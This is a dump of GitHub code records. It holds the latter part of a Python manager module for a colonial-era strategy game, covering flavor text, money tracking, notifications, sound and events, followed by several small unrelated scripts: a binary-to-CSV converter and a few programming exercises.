'''\n self.global_manager = global_manager\n self.possible_effects = []\n self.active_effects = []\n\n def __str__(self):\n '''\n Description:\n Returns text for a description of this object when printed\n Input:\n None\n Output:\n string: Returns text to print\n '''\n text = 'Active effects: '\n for current_effect in self.active_effects:\n text += '\\n ' + current_effect.__str__()\n return(text)\n\n def effect_active(self, effect_type):\n '''\n Description:\n Finds and returns whether any effect of the inputted type is active\n Input:\n string effect_type: Type of effect to check for\n Output:\n boolean: Returns whether any effect of the inputted type is active\n '''\n for current_effect in self.active_effects:\n if current_effect.effect_type == effect_type:\n return(True)\n return(False)\n\n def set_effect(self, effect_type, new_status):\n '''\n Description:\n Finds activates/deactivates all effects of the inputted type, based on the inputted status\n Input:\n string effect_type: Type of effect to check for\n string new_status: New activated/deactivated status for effects\n Output:\n None\n '''\n for current_effect in self.possible_effects:\n if current_effect.effect_type == effect_type:\n if new_status == True:\n current_effect.apply()\n else:\n current_effect.remove()\n\n def effect_exists(self, effect_type):\n '''\n Description:\n Checks whether any effects of the inputted type exist\n Input:\n string effect_type: Type of effect to check for\n Output:\n boolean: Returns whether any effects of the inputted type exist\n '''\n for current_effect in self.possible_effects:\n if current_effect.effect_type == effect_type:\n return(True)\n return(False)\n\nclass flavor_text_manager_template():\n '''\n Object that reads flavor text from .csv files and distributes it to other parts of the program when requested\n '''\n def __init__(self, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n '''\n self.global_manager = global_manager\n self.subject_dict = {}\n self.set_flavor_text('exploration', 'text/explorer.csv')\n self.set_flavor_text('advertising_campaign', 'text/advertising.csv')\n self.set_flavor_text('minister_first_names', 'text/default.csv')\n self.set_flavor_text('minister_particles', 'text/default.csv')\n self.set_flavor_text('minister_last_names', 'text/default.csv')\n self.allow_particles = False\n \n def set_flavor_text(self, topic, file):\n '''\n Description:\n Sets this flavor text manager's list of flavor text for the inputted topic to the contents of the inputted csv file\n Input:\n string topic: Topic for the flavor text to set, like 'minister_first_names'\n string file: File to set flavor text to, like 'text/flavor_minister_first_names.csv'\n Output:\n None\n '''\n flavor_text_list = []\n current_flavor_text = csv_tools.read_csv(file)\n for line in current_flavor_text: #each line is a list\n flavor_text_list.append(line[0])\n self.subject_dict[topic] = flavor_text_list\n\n def generate_substituted_flavor_text(self, subject, replace_char, replace_with):\n '''\n Description:\n Returns a random flavor text statement based on the inputted string, with all instances of replace_char replaced with replace_with\n Input:\n string subject: Represents the type of flavor text to return\n Output:\n string: Random flavor text statement of the inputted subject\n '''\n base_text = random.choice(self.subject_dict[subject])\n return_text = ''\n for current_character in base_text:\n if current_character == replace_char:\n return_text += replace_with\n else:\n return_text += current_character\n return(return_text)\n\n def generate_substituted_indexed_flavor_text(self, subject, replace_char, replace_with):\n '''\n Description:\n Returns a random flavor text statement based on the inputted string, with all instances of replace_char replaced with replace_with\n Input:\n string subject: Represents the type of flavor text to return\n Output:\n string, int tuple: Random flavor text statement of the inputted subject, followed by the index in the flavor text list of the outputted flavor text\n '''\n base_text = random.choice(self.subject_dict[subject])\n index = self.subject_dict[subject].index(base_text)\n return_text = ''\n for current_character in base_text:\n if current_character == replace_char:\n return_text += replace_with\n else:\n return_text += current_character\n return((return_text, index))\n\n\n def generate_flavor_text(self, subject):\n '''\n Description:\n Returns a random flavor text statement based on the inputted string\n Input:\n string subject: Represents the type of flavor text to return\n Output:\n string: Random flavor text statement of the inputted subject\n '''\n return(random.choice(self.subject_dict[subject]))\n\n def generate_minister_name(self, background):\n '''\n Description:\n Generates and returns a random combination of minister first and last names\n Input:\n None\n Output:\n string: Returns a random combination of minister first and last names\n '''\n if self.global_manager.get('current_country') == self.global_manager.get('Belgium'):\n self.allow_particles = True\n if random.randrange(1, 7) >= 4:\n self.set_flavor_text('minister_first_names', 'text/names/dutch_first_names.csv')\n self.set_flavor_text('minister_last_names', 'text/names/dutch_last_names.csv')\n self.set_flavor_text('minister_particles', 'text/names/dutch_particles.csv')\n self.allow_double_last_names = False\n else:\n self.set_flavor_text('minister_first_names', 'text/names/french_first_names.csv')\n self.set_flavor_text('minister_last_names', 'text/names/french_last_names.csv')\n self.set_flavor_text('minister_particles', 'text/names/french_particles.csv')\n self.allow_double_last_names = True\n\n first_name = self.generate_flavor_text('minister_first_names')\n titles = ['Duke', 'Marquess', 'Earl', 'Viscount', 'Baron', 'Sir', 'Prince', 'Lord', \n 'Duc', 'Marquis', 'Count', 'Vicomte', 'Chevalier', 'Écuyer',\n 'Duque', 'Marquês', 'Infante', 'Visconde', 'Barão', 'Conde', 'Dom', 'Fidalgo',\n 'Herzog', 'Markgraf', 'Landgraf', 'Pfalzgraf', 'Reichsgraf', 'Burggraf', 'Reichsfürst', 'Graf', 'Freiherr', 'Herr',\n 'Principe', 'Duca', 'Marchese', 'Conte', 'Visconte', 'Barone', 'Nobile', 'Cavaliere', 'Patrizio' \n ]\n if self.global_manager.get('current_country') == self.global_manager.get('Germany'): #Most German nobility had von particle but no inherited title\n if background == 'royal heir' or (background == 'aristocrat' and random.randrange(1, 7) >= 5):\n while not first_name in titles:\n first_name = self.generate_flavor_text('minister_first_names')\n else:\n while first_name in titles:\n first_name = self.generate_flavor_text('minister_first_names')\n else:\n if background in ['royal heir', 'aristocrat']:\n while not first_name in titles:\n first_name = self.generate_flavor_text('minister_first_names')\n else:\n while first_name in titles:\n first_name = self.generate_flavor_text('minister_first_names')\n name = first_name + ' '\n if self.allow_particles:\n if self.aristocratic_particles:\n if background in ['royal heir', 'aristocrat'] and self.aristocratic_particles:\n name += self.generate_flavor_text('minister_particles')\n elif random.randrange(1, 7) >= 4:\n name += self.generate_flavor_text('minister_particles')\n last_name = self.generate_flavor_text('minister_last_names')\n\n name += last_name\n if self.allow_double_last_names and random.randrange(1, 7) >= 5:\n second_last_name = self.generate_flavor_text('minister_last_names')\n while second_last_name == last_name:\n second_last_name = self.generate_flavor_text('minister_last_names')\n name += '-' + second_last_name\n return(name)\n\nclass value_tracker():\n '''\n Object that controls the value of a certain variable\n '''\n def __init__(self, value_key, initial_value, min_value, max_value, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n string value_key: Key used to access this tracker's variable in the global manager\n any type initial_value: Value that this tracker's variable is set to when initialized\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n '''\n self.global_manager = global_manager\n self.global_manager.set(value_key, initial_value)\n self.value_label = 'none'\n self.value_key = value_key\n self.min_value = min_value\n self.max_value = max_value\n\n def get(self):\n '''\n Description:\n Returns the value of this tracker's variable\n Input:\n None\n Output:\n any type: Value of this tracker's variable\n '''\n return(self.global_manager.get(self.value_key))\n\n def change(self, value_change):\n '''\n Description:\n Changes the value of this tracker's variable by the inputted amount. Only works if this tracker's variable is a type that can be added to, like int, float, or string\n Input:\n various types value_change: Amount that this tracker's variable is changed. Must be the same type as this tracker's variable\n Output:\n None\n '''\n #self.global_manager.set(self.value_key, self.get() + value_change)\n self.set(self.get() + value_change)\n if not self.value_label == 'none':\n self.value_label.update_label(self.get())\n \n def set(self, new_value):\n '''\n Description:\n Sets the value of this tracker's variable to the inputted amount\n Input:\n any type value_change: Value that this tracker's variable is set to\n Output:\n None\n '''\n self.global_manager.set(self.value_key, new_value)\n if not self.min_value == 'none':\n if self.get() < self.min_value:\n self.global_manager.set(self.value_key, self.min_value)\n if not self.max_value == 'none':\n if self.get() > self.max_value:\n self.global_manager.set(self.value_key, self.max_value)\n if not self.value_label == 'none':\n self.value_label.update_label(self.get())\n\nclass public_opinion_tracker(value_tracker):\n '''\n Value tracker that tracks public opinion\n '''\n def change(self, value_change):\n '''\n Description:\n Changes the value of this tracker's variable by the inputted amount. Only works if this tracker's variable is a type that can be added to, like int, float, or string\n Input:\n various types value_change: Amount that this tracker's variable is changed. Must be the same type as this tracker's variable\n Output:\n None\n '''\n super().change(value_change)\n self.global_manager.get('money_label').check_for_updates()\n\nclass money_tracker(value_tracker):\n '''\n Value tracker that tracks money and causes the game to be lost when money runs out\n '''\n def __init__(self, initial_value, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n any type initial_value: Value that the money variable is set to when initialized\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n '''\n self.transaction_history = {}\n self.transaction_types = global_manager.get('transaction_types')\n self.reset_transaction_history()\n super().__init__('money', initial_value, 'none', 'none', global_manager)\n\n def reset_transaction_history(self):\n '''\n Description:\n Resets the stored transactions from the last turn, allowing new transactions to be recorded for the current turn's financial report\n Input:\n None\n Output:\n None\n '''\n self.transaction_history = {}\n for current_transaction_type in self.transaction_types:\n self.transaction_history[current_transaction_type] = 0\n\n def change(self, value_change, change_type = 'misc.'):\n '''\n Description:\n Changes the money variable by the inputted amount\n Input:\n int value_change: Amount that the money variable is changed\n Output:\n None\n '''\n if change_type == 'misc.':\n if value_change > 0:\n change_type = 'misc_revenue'\n else:\n change_type = 'misc_expenses'\n self.transaction_history[change_type] += value_change\n if not value_change == 0:\n if abs(value_change) < 15:\n self.global_manager.get('sound_manager').play_sound('coins_1')\n else:\n self.global_manager.get('sound_manager').play_sound('coins_2')\n super().change(value_change)\n\n def set(self, new_value):\n '''\n Description:\n Sets the money variable to the inputted amount\n Input:\n int value_change: Value that the money variable is set to\n Output:\n None\n '''\n super().set(round(new_value, 2))\n\n def prepare_financial_report(self):\n '''\n Description:\n Creates and formats the text for a financial report based on the last turn's transactions\n Input:\n None\n Output:\n string: Formatted financial report text with /n being a new line\n '''\n notification_text = 'Financial report: /n /n'\n notification_text += 'Revenue: /n'\n total_revenue = 0\n for transaction_type in self.transaction_types:\n if self.transaction_history[transaction_type] > 0:\n notification_text += ' ' + self.global_manager.get('transaction_descriptions')[transaction_type].capitalize() + ': ' + str(self.transaction_history[transaction_type]) + ' /n'\n total_revenue += self.transaction_history[transaction_type]\n if total_revenue == 0:\n notification_text += ' None /n'\n \n notification_text += '/nExpenses: /n'\n total_expenses = 0\n for transaction_type in self.transaction_types:\n if self.transaction_history[transaction_type] < 0:\n #if transaction_type == 'misc. expenses':\n # notification_text += ' Misc: ' + str(self.transaction_history[transaction_type]) + ' /n'\n #else:\n notification_text += ' ' + self.global_manager.get('transaction_descriptions')[transaction_type].capitalize() + ': ' + str(self.transaction_history[transaction_type]) + ' /n'\n total_expenses += self.transaction_history[transaction_type]\n if total_expenses == 0:\n notification_text += ' None /n'\n notification_text += ' /n'\n notification_text += 'Total revenue: ' + str(round(total_revenue, 2)) + ' /n'\n notification_text += 'Total expenses: ' + str(round(total_expenses, 2)) + ' /n'\n notification_text += 'Total profit: ' + str(round(total_revenue + total_expenses, 2)) + ' /n'\n return(notification_text)\n \nclass notification_manager_template():\n '''\n Object that controls the displaying of notifications\n '''\n def __init__(self, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n '''\n self.notification_queue = []\n self.notification_type_queue = []\n self.notification_dice_queue = []\n self.choice_notification_choices_queue = []\n self.choice_notification_info_dict_queue = []\n self.minister_message_queue = []\n self.global_manager = global_manager\n self.update_notification_layout()\n self.notification_modes = ['strategic', 'europe', 'ministers', 'trial', 'main_menu', 'new_game_setup']\n\n def update_notification_layout(self, notification_height = 0):\n '''\n Description:\n Changes where notifications are displayed depending on the current game mode to avoid blocking relevant information. Also changes the height of the notification based on how much text it contains\n Input:\n int notification_height = 0: Height in pixels of the notification text. If the notification text height is greater than the default notification height, the notification will scale its height to the text\n Output:\n None\n '''\n self.notification_width = 500\n self.notification_height = 300 #300 #500#600\n self.notification_y = 500#236#186\n #height_difference = notification_height - self.notification_height\n #if height_difference > 0: #if notification height greater than default notification height\n # self.notification_y -= (height_difference / 2) #lower by half of height change\n # self.notification_height += height_difference #increase height by height change\n #should change top and bottom locations while keeping same center\n if self.global_manager.get('current_game_mode') in ['strategic', 'none']: #move notifications out of way of minimap on strategic mode or during setup\n self.notification_x = self.global_manager.get('minimap_grid_origin_x') - (self.notification_width + 40)\n else: #show notifications in center on europe mode\n self.notification_x = 610\n #self.notification_height = 300\n if notification_height > self.notification_height:\n self.notification_height = notification_height\n self.notification_y -= self.notification_height / 2\n\n def format_message(self, message):\n new_message = []\n next_line = ''\n next_word = ''\n font_size = 25\n font_name = self.global_manager.get('font_name')\n for index in range(len(message)):\n if not ((not (index + 2) > len(message) and message[index] + message[index + 1]) == '/n'): #don't add if /n\n if not (index > 0 and message[index - 1] + message[index] == '/n'): #if on n after /, skip\n next_word += message[index]\n if message[index] == ' ':\n if text_tools.message_width(next_line + next_word, font_size, font_name) > self.notification_width:\n new_message.append(next_line)\n next_line = ''\n next_line += next_word\n next_word = ''\n elif (not (index + 2) > len(message) and message[index] + message[index + 1]) == '/n': #don't check for /n if at last index\n new_message.append(next_line)\n next_line = ''\n next_line += next_word\n next_word = ''\n if text_tools.message_width(next_line + next_word, font_size, font_name) > self.notification_width:\n new_message.append(next_line)\n next_line = ''\n next_line += next_word\n new_message.append(next_line)\n #new_height = len(new_message) * font_size #scaling.scale_height(25, self.global_manager) #font size\n #print(len(new_message))\n return(new_message)\n #if new_height > self.minimum_height:\n # self.height = new_height\n '''\n def get_notification_height(self, notification_text):\n \n Description:\n Returns the height in pixels of the inputted text if it were put in a notification\n Input:\n string notification_text: Text that will appear on the notification with lines separated by /n\n Output:\n int: height in pixels of the inputted text if it were put in a notification\n \n new_message = []\n next_line = ''\n next_word = ''\n font_size = 25 #scaling.scale_height(25, self.global_manager) #self.global_manager.get('font_size') #25\n font_name = self.global_manager.get('font_name')\n font = pygame.font.SysFont(font_name, font_size)\n for index in range(len(notification_text)):\n if not ((not (index + 2) > len(notification_text) and notification_text[index] + notification_text[index + 1]) == '/n'): #don't add if /n\n if not (index > 0 and notification_text[index - 1] + notification_text[index] == '/n'): #if on n after /, skip\n next_word += notification_text[index]\n if notification_text[index] == ' ':\n if text_tools.message_width(next_line + next_word, font_size, font_name) > self.notification_width:\n new_message.append(next_line)\n next_line = ''\n next_line += next_word\n next_word = ''\n elif (not (index + 2) > len(notification_text) and notification_text[index] + notification_text[index + 1]) == '/n': #don't check for /n if at last index\n new_message.append(next_line)\n next_line = ''\n next_line += next_word\n next_word = ''\n if text_tools.message_width(next_line + next_word, font_size, font_name) > self.notification_width:\n new_message.append(next_line)\n next_line = ''\n next_line += next_word\n new_message.append(next_line)\n new_message.append('Click to remove this notification.')\n return(len(new_message) * font_size)#self.message = new_message\n '''\n def notification_to_front(self, message):\n '''\n Description:\n Displays and returns new notification with text matching the inputted string and a type based on what is in the front of this object's notification type queue\n Input:\n string message: The text to put in the displayed notification\n Output:\n Notification: Returns the created notification\n '''\n height = len(self.format_message(message)) * (self.global_manager.get('default_font_size') + 10)\n self.update_notification_layout(height)\n\n notification_type = self.notification_type_queue.pop(0)\n notification_dice = self.notification_dice_queue.pop(0) #number of dice of selected mob to show when notification is visible\n\n input_dict = {\n 'coordinates': scaling.scale_coordinates(self.notification_x, self.notification_y, self.global_manager),\n 'ideal_width': scaling.scale_width(self.notification_width, self.global_manager),\n 'minimum_height': scaling.scale_height(self.notification_height, self.global_manager),\n 'modes': self.notification_modes,\n 'image_id': 'misc/default_notification.png',\n 'message': message,\n 'notification_dice': notification_dice,\n 'init_type': 'action notification'\n }\n\n if notification_type == 'roll':\n input_dict['init_type'] = 'dice rolling notification'\n elif notification_type in ['stop_trade', 'stop_trade_attacked', 'trade', 'trade_promotion', 'final_trade', 'successful_commodity_trade', 'failed_commodity_trade']:\n is_last = False\n commodity_trade = False\n stops_trade = False\n dies = False\n if notification_type == 'stop_trade':\n stops_trade = True\n elif notification_type == 'stop_trade_attacked':\n stops_trade = True\n dies = True\n elif notification_type == 'final_trade':\n is_last = True\n elif notification_type in ['successful_commodity_trade', 'failed_commodity_trade']:\n commodity_trade = True\n elif notification_type == 'trade_promotion':\n self.global_manager.get('trade_result')[0].promote() #promotes caravan\n trade_info_dict = {'is_last': is_last, 'commodity_trade': commodity_trade, 'commodity_trade_type': notification_type, 'stops_trade': stops_trade, 'dies': dies}\n input_dict['trade_info_dict'] = trade_info_dict\n input_dict['init_type'] = 'trade notification'\n elif notification_type == 'exploration':\n input_dict['init_type'] = 'exploration notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_exploration':\n input_dict['init_type'] = 'exploration notification'\n input_dict['is_last'] = True\n elif notification_type == 'off_tile_exploration':\n input_dict['init_type'] = 'off tile exploration notification'\n elif notification_type == 'religious_campaign':\n input_dict['init_type'] = 'religious campaign notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_religious_campaign':\n input_dict['init_type'] = 'religious campaign notification'\n input_dict['is_last'] = True\n elif notification_type == 'public_relations_campaign':\n input_dict['init_type'] = 'public relations campaign notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_public_relations_campaign':\n input_dict['init_type'] = 'public relations campaign notification'\n input_dict['is_last'] = True\n elif notification_type == 'advertising_campaign':\n input_dict['init_type'] = 'advertising campaign notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_advertising_campaign':\n input_dict['init_type'] = 'advertising campaign notification'\n input_dict['is_last'] = True\n elif notification_type == 'conversion':\n input_dict['init_type'] = 'conversion notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_conversion':\n input_dict['init_type'] = 'conversion notification'\n input_dict['is_last'] = True\n elif notification_type == 'rumor_search':\n input_dict['init_type'] = 'rumor search notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_rumor_search':\n input_dict['init_type'] = 'rumor search notification'\n input_dict['is_last'] = True\n elif notification_type == 'artifact_search':\n input_dict['init_type'] = 'artifact search notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_artifact_search':\n input_dict['init_type'] = 'artifact search notification'\n input_dict['is_last'] = True\n elif notification_type == 'slave_capture':\n input_dict['init_type'] = 'capture slaves notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_slave_capture':\n input_dict['init_type'] = 'capture slaves notification'\n input_dict['is_last'] = True\n elif notification_type == 'suppress_slave_trade':\n input_dict['init_type'] = 'suppress slave trade notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_suppress_slave_trade':\n input_dict['init_type'] = 'suppress slave trade notification'\n input_dict['is_last'] = True\n elif notification_type == 'construction':\n input_dict['init_type'] = 'construction notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_construction':\n input_dict['init_type'] = 'construction notification'\n input_dict['is_last'] = True\n elif notification_type == 'combat':\n input_dict['init_type'] = 'combat notification'\n input_dict['is_last'] = False\n elif notification_type == 'final_combat':\n input_dict['init_type'] = 'combat notification'\n input_dict['is_last'] = True\n elif notification_type == 'trial':\n input_dict['init_type'] = 'trial notification'\n input_dict['is_last'] = True\n elif notification_type == 'choice':\n del input_dict['notification_dice']\n input_dict['init_type'] = 'choice notification'\n input_dict['button_types'] = self.choice_notification_choices_queue.pop(0)\n input_dict['choice_info_dict'] = self.choice_notification_info_dict_queue.pop(0)\n elif notification_type == 'zoom':\n del input_dict['notification_dice']\n input_dict['init_type'] = 'zoom notification'\n input_dict['target'] = self.choice_notification_choices_queue.pop(0) #repurposing communication method used for choice notifications to tell notification which target\n self.choice_notification_info_dict_queue.pop(0) \n elif notification_type == 'minister':\n del input_dict['notification_dice']\n input_dict['init_type'] = 'minister notification'\n input_dict['attached_minister'] = self.minister_message_queue.pop(0)\n\n new_notification = self.global_manager.get('actor_creation_manager').create_interface_element(input_dict, self.global_manager)\n if notification_type == 'roll':\n for current_die in self.global_manager.get('dice_list'):\n current_die.start_rolling()\n return(new_notification)\n\nclass sound_manager_template():\n '''\n Object that controls sounds\n '''\n def __init__(self, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n '''\n self.global_manager = global_manager\n self.default_music_dict = {\n 'europe': ['French theme', 'French generic song', 'French generic song 2', 'German generic song', 'Over the hills and far away', 'Italian theme',\n 'German generic violin', 'Italian generic violin', 'French generic violin', 'French generic violin 2'],\n 'main menu': ['main theme'],\n 'village peaceful': ['village peaceful'],\n 'village neutral': ['village neutral'],\n 'village aggressive': ['village aggressive'],\n 'slave traders': ['slave traders theme']\n }\n self.previous_state = 'none'\n self.previous_song = 'none'\n\n def play_sound(self, file_name, volume = 0.3):\n '''\n Description:\n Plays the sound effect from the inputted file\n Input:\n string file_name: Name of .wav file to play sound of\n double volume = 0.3: Volume from 0.0 to 1.0 to play sound at - mixer usually uses a default of 1.0\n Output:\n Channel: Returns the pygame mixer Channel object that the sound was played on\n '''\n current_sound = pygame.mixer.Sound('sounds/' + file_name + '.wav')\n current_sound.set_volume(volume)\n channel = current_sound.play()\n return(channel)\n\n def queue_sound(self, file_name, channel, volume = 0.3):\n '''\n Description:\n Queues the sound effect from the inputted file to be played once the inputted channel is done with its current sound\n Input:\n string file_name: Name of .wav file to play sound of\n Channel channel: Pygame mixer channel to queue the sound in\n double volume = 0.3: Volume from 0.0 to 1.0 to play sound at - mixer usually uses a default of 1.0\n Output:\n None\n ''' \n current_sound = pygame.mixer.Sound('sounds/' + file_name + '.wav')\n current_sound.set_volume(volume)\n channel.queue(current_sound)\n\n def play_music(self, file_name, volume = -0.1):\n '''\n Description:\n Starts playing the music from the inputted file, replacing any current music\n Input:\n string file_name: Name of .wav file to play music of\n double volume = -0.1: Volume from 0.0 to 1.0 to play sound at - replaces negative or absent volume input with default\n Output:\n None\n '''\n if volume < 0: #negative volume value -> use default\n volume = self.global_manager.get('default_music_volume')\n pygame.mixer.music.load('sounds/music/' + file_name + '.wav')\n pygame.mixer.music.set_volume(volume)\n pygame.mixer.music.play(0) #music loops when loop argument is -1\n\n def music_transition(self, file_name, time_interval = 0.75):\n '''\n Description:\n Fades out the current song and plays a new song at the previous volume\n Input:\n string file_name: Name of .wav file to play music of, or 'none' if music should fade out but not restart\n double time_interval = 0.75: Time to wait between each volume change event\n Output:\n None\n '''\n original_volume = self.global_manager.get('default_music_volume')\n pygame.mixer.music.set_volume(original_volume)\n time_passed = 0\n if pygame.mixer.music.get_busy(): #only delay starting music for fade out if there is any current music to fade out\n for i in range(1, 5):\n time_passed += time_interval #with each interval, time_interval time passes and volume decreases by 0.25\n self.global_manager.get('event_manager').add_event(pygame.mixer.music.set_volume, [original_volume * (1 - (0.25 * i))], time_passed)\n\n if not file_name == 'none':\n time_passed += time_interval\n self.global_manager.get('event_manager').add_event(self.play_music, [file_name, 0], time_passed)\n for i in range(1, 5):\n self.global_manager.get('event_manager').add_event(pygame.mixer.music.set_volume, [original_volume * (0.25 * i)], time_passed)\n time_passed += time_interval #with each interval, time_interval time passes and volume increases by 0.25\n else:\n self.global_manager.get('event_manager').add_event(pygame.mixer.music.stop, [], time_passed)\n self.global_manager.get('event_manager').add_event(pygame.mixer.music.unload, [], time_passed)\n self.global_manager.get('event_manager').add_event(pygame.mixer.music.set_volume, [original_volume], time_passed) \n\n def dampen_music(self, time_interval = 0.5):\n '''\n Description:\n Temporarily reduces the volume of the music to allow for other sounds\n Input:\n double time_interval = 0.5: Time to wait between each volume change event\n Output:\n None\n '''\n self.global_manager.get('event_manager').clear()\n original_volume = self.global_manager.get('default_music_volume')\n pygame.mixer.music.set_volume(0)\n time_passed = 0\n for i in range(-5, 6):\n time_passed += time_interval\n if i > 0:\n self.global_manager.get('event_manager').add_event(pygame.mixer.music.set_volume, [original_volume * i * 0.1], time_passed)\n\n def play_random_music(self, current_state, previous_song = 'none'):\n '''\n Description:\n Plays random music depending on the current state of the game, like 'main menu', 'europe', or 'village', and the current player country\n Input:\n string current_state: Descriptor for the current state of the game to play music for\n string previous_song: The previous song that just ended, if any, to avoid playing it again unless it is the only option\n Output:\n None\n '''\n self.previous_song = 'none'\n if not (self.previous_state == current_state):\n state_changed = True\n else:\n state_changed = False\n self.previous_state = current_state\n current_country = self.global_manager.get('current_country')\n if current_state == 'europe' and not current_country == 'none':\n if self.global_manager.get('creating_new_game') and len(self.global_manager.get('current_country').music_list) > 0:\n possible_songs = self.global_manager.get('current_country').music_list\n else:\n possible_songs = self.default_music_dict[current_state] + self.global_manager.get('current_country').music_list\n else:\n possible_songs = self.default_music_dict[current_state]\n if len(possible_songs) == 1:\n chosen_song = random.choice(possible_songs)\n elif len(possible_songs) > 0:\n chosen_song = random.choice(possible_songs)\n if not previous_song == 'none': #plays different song if multiple choices available\n while chosen_song == previous_song:\n chosen_song = random.choice(possible_songs)\n else:\n chosen_song = 'none'\n if current_state in ['slave traders', 'village peaceful', 'village neutral', 'village aggressive'] or self.previous_state in ['slave traders', 'village peaceful', 'village neutral', 'village aggressive']:\n time_interval = 0.4\n else:\n time_interval = 0.75\n if (not state_changed) and (not chosen_song == 'none'):\n self.play_music(chosen_song)\n else:\n self.music_transition(chosen_song, time_interval)\n self.previous_song = chosen_song\n\n def song_done(self):\n '''\n Description:\n Called when a song finishes, plays a new random song for the same state, with the new song being different if possible\n Input:\n None\n Output:\n None\n '''\n self.play_random_music(self.previous_state, self.previous_song)\n\nclass event_manager_template():\n '''\n Object that tracks a list of events and calls the relevant functions once an inputted amount of time has passed\n '''\n def __init__(self, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n '''\n self.event_list = []\n self.event_time_list = []\n self.global_manager = global_manager\n self.previous_time = self.global_manager.get('current_time')\n\n def add_event(self, function, inputs, activation_time):\n '''\n Description:\n Creates a new event with the inputted function and time that will call the inputted function with inputs after the inputted time has elapsed\n Input:\n function function: Function that will be called after the inputted time has elapsed\n list inputs: List of inputs the function will be called with, in order\n double activation_time: Amount of time that will pass before the function is called\n Output:\n None\n '''\n self.event_list.append(events.event(function, inputs, activation_time, self))\n\n def add_repeating_event(self, function, inputs, activation_time, num_repeats = -1):\n '''\n Description:\n Creates a new event with the inputted function and time that will call the inputted function with inputs after the inputted time has elapsed\n Input:\n function function: Function that will be called each time the inputted time elapses\n list inputs: List of inputs the function will be called with, in order\n double activation_time: Amount of time that will pass between each function call\n Output:\n None\n '''\n self.event_list.append(events.repeating_event(function, inputs, activation_time, self, num_repeats))\n \n def update(self, new_time):\n '''\n Description:\n Updates events with the current time, activating any that run out of time\n Input:\n double new_time: New time to update this object with\n Output:\n None\n '''\n time_difference = new_time - self.previous_time\n activated_events = []\n for current_event in self.event_list:\n current_event.activation_time -= time_difference #updates event times with new time\n if current_event.activation_time <= 0: #if any event runs out of time, activate it\n activated_events.append(current_event)\n if len(activated_events) > 0: #when an event activates, call its stored function \n for current_event in activated_events:\n current_event.activate()\n current_event.remove()\n self.previous_time = new_time\n\n def clear(self):\n '''\n Description:\n Removes this object's events, removing them from storage and stopping them before activation\n Input:\n None\n Output:\n None\n '''\n existing_events = []\n for current_event in self.event_list:\n existing_events.append(current_event)\n for current_event in existing_events:\n current_event.remove()\n\n def go(self):\n '''\n Description: \n Calls the money tracker's change function with an input of -20 every second, repeating indefinitely because no num_repeats is provided - solely for event testing\n Input:\n None\n Output:\n None\n '''\n self.add_repeating_event(self.global_manager.get('money_tracker').change, [-20], activation_time = 1)\n","repo_name":"Vrotki/Scramble-for-Africa-game","sub_path":"modules/data_managers.py","file_name":"data_managers.py","file_ext":"py","file_size_in_byte":48037,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"1030814052","text":"#import glob\n\nydt_path = r'e:\\\\ylab_buzzwire1676980172.ydt'\ncsv_path = r'e:\\\\ylab_buzzwire1676980172.csv'\n#files = glob.glob(ydt_path)\n#print(files)\n\n\n\nfrom struct import iter_unpack\nimport os\n\nydt_format = \"@fif\"\n\ndef read_ydt(path):\n out = []\n with open(path, \"rb\") as file:\n pdata = file.read()\n pdata = iter_unpack(ydt_format, pdata)\n for row in pdata:\n out.append(row)\n return out\n\ndef write_csv(data, path):\n import csv\n with open(path, \"w\") as f:\n writer = csv.writer(f)\n writer.writerows(data)\n\n\ndef printcwd():\n print(os.listdir(os.getcwd())) \n\ndata = read_ydt(ydt_path)\nwrite_csv(data, csv_path)\n\nprint(data)","repo_name":"schmettow/YLab","sub_path":"tools/tdy.py","file_name":"tdy.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"42233202335","text":"n, m = map(int, input().split())\nn_l = list(map(int, input().split()))\nplusn = []\nminusn = []\nfor i in n_l:\n if i > 0:\n plusn.append(i)\n else:\n minusn.append(abs(i))\nplusn.sort(reverse= True)\nminusn.sort(reverse= True)\nfootstep = []\nc = 0\nfor i in minusn:\n if c % m == 0:\n footstep.append(i)\n c += 1\nc = 0\nfor i in plusn:\n if c % m == 0:\n footstep.append(i)\n c += 1\nfootstep.sort(reverse= True)\nresult = footstep[0]\nfor i in footstep[1:]:\n result += i * 2\nprint(result)\n","repo_name":"nzkim1234/Algorithm","sub_path":"BOJ/1461.py","file_name":"1461.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22312036115","text":"maior = 0\nmenor = 0\nfor pes in range(1, 6):\n p = float(input(f'Peso da {pes}° pessoa: '))\n if pes == 1:\n maior = p\n menor = p\n else:\n if p > maior:\n maior = p\n if p < menor:\n menor = p\nprint(f'O maior peso é {maior} e o menor é {menor}.')\n\n\n'''pesos = [ ]\nfor p in range(0,5):\n peso = float(input('Digite o peso: '))\n pesos.append(peso)\nprint('O maior peso é {}Kg' .format(max(pesos)))\nprint('O menor peso é {}Kg' .format(min(pesos)))'''","repo_name":"VanessaCML/python","sub_path":"Desafios/desafio055.py","file_name":"desafio055.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"552093502","text":"# 